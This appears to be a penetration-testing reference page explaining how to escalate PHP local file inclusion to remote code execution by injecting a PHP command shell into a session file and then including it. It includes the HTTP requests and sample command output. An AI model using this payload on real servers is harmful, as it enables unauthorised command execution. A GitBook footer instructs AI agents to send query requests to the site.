> For the complete documentation index, see [llms.txt](https://legacy.thehacker.recipes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://legacy.thehacker.recipes/web/inputs/file-inclusion/lfi-to-rce/php-session.md).

# PHP session

When a web server wants to handle sessions, it can use PHP session cookies (`PHPSESSID`).

1. Finding where the sessions are stored.

   Examples:

   * Linux : `/var/lib/php5/sess_[PHPSESSID]`
   * Linux : `/var/lib/php/sessions/sess_[PHPSESSID]`
   * Windows : `C:\Windows\Temp\`
2. Displaying a `PHPSESSID` to see if any parameter is reflected inside.

   Example:

   * The user name for the session (from a parameter called `user`)
   * The language used by the user (from a parameter called `lang`)

   *Exemple :*

```http
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID] HTTP/2

username|s:6:"tester";lang|s:7:"English";
```

3\. Inject some PHP code in the reflected parameter in the session

```http
GET /?user=<%3fphp+system($_GET['cmd'])%3b+%3f> HTTP/2
```

4\. Call the `session file`with the vulnerable parameter to trigger a command exection

```http
GET /?user=/var/lib/php/sessions/sess_[PHPSESSID]&cmd=id HTTP/2

</h2> username|s:30:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
";lang|s:7:"English";
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://legacy.thehacker.recipes/web/inputs/file-inclusion/lfi-to-rce/php-session.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.